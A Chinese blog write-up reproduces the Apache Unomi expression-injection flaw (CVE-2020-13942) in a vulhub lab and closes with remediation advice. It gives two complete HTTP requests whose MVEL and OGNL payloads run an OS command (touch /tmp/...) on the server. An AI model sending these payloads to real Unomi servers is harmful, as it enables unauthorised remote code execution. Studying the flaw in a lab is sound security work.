zoukankan      html  css  js  c++  java
  • unomi漏洞复现

    简介

    漏洞环境不另作说明均为vulhub。

    参考链接:

    Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月提交给了 Apache 孵化器。

    Apache Unomi 具有隐私管理、用户/事件/目标跟踪、报告、访客资料管理、细分、角色、A/B 测试等功能,它可以作为:

    • Web CMS 个性化服务
    • 原生移动应用的分析服务
    • 具有分段功能的集中配置文件管理系统
    • 授权管理中心

    Apache Unomi 远程表达式代码执行漏洞(CVE-2020-13942)

    参考链接:

    在Apache Unomi 1.5.1级以前版本中,存在一处表达式注入漏洞,远程攻击者通过MVEL和OGNL表达式即可在目标服务器上执行任意命令。

    漏洞复现

    启动环境,环境中使用的是Apache Unomi 1.5.1版本。

    环境启动后,通过http://your-ip:8181https://your-ip:9443即可访问到Unomi的API。

    通过8181和9443两个端口均可触发漏洞,以8181为例。

    通过MVEL表达式执行任意命令:

    POST /context.json HTTP/1.1
    Host: localhost:8181
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
    Connection: close
    Content-Type: application/json
    Content-Length: 483
    
    {
        "filters": [
            {
                "id": "sample",
                "filters": [
                    {
                        "condition": {
                             "parameterValues": {
                                "": "script::Runtime r = Runtime.getRuntime(); r.exec("touch /tmp/mvel");"
                            },
                            "type": "profilePropertyCondition"
                        }
                    }
                ]
            }
        ],
        "sessionId": "sample"
    }
    

    通过OGNL表达式执行任意命令:

    POST /context.json HTTP/1.1
    Host: localhost:8181
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
    Connection: close
    Content-Type: application/json
    Content-Length: 1064
    
    {
      "personalizations":[
        {
          "id":"gender-test",
          "strategy":"matching-first",
          "strategyOptions":{
            "fallback":"var2"
          },
          "contents":[
            {
              "filters":[
                {
                  "condition":{
                    "parameterValues":{
                      "propertyName":"(#runtimeclass = #this.getClass().forName("java.lang.Runtime")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals("exec")}.{? #this.getParameters()[0].getType().getName().equals("java.lang.String")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,"touch /tmp/ognl"))",
                      "comparisonOperator":"equals",
                      "propertyValue":"male"
                    },
                    "type":"profilePropertyCondition"
                  }
                }
              ]
            }
          ]
        }
      ],
      "sessionId":"sample"
    }
    

    两种执行方式分别在/tmp目录下创建mvelognl文件,使用docker exec -it [容器id] /bin/bash进入容器进行查看,可以看到文件已被创建。

    漏洞修复

    1. 尽可能避免将用户数据放入表达式解释器中。
    2. 目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。官方链接如下:
      https://unomi.apache.org/download.html
    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    有关 JavaScript 的 10 件让人费解的事情
    Apache ab介绍1
    Oracle Raw,number,varchar2... 转换
    Flex开发者需要知道的10件事
    linux命令之nice
    JavaIO复习和目录文件的复制
    使用php获取网页内容
    linux 安装sysstat使用iostat、mpstat、sar、sa
    SQL Injection 实战某基金
    ubuntu root锁屏工具
  • 原文地址:https://www.cnblogs.com/ahtoh/p/15523367.html
Copyright © 2011-2022 走看看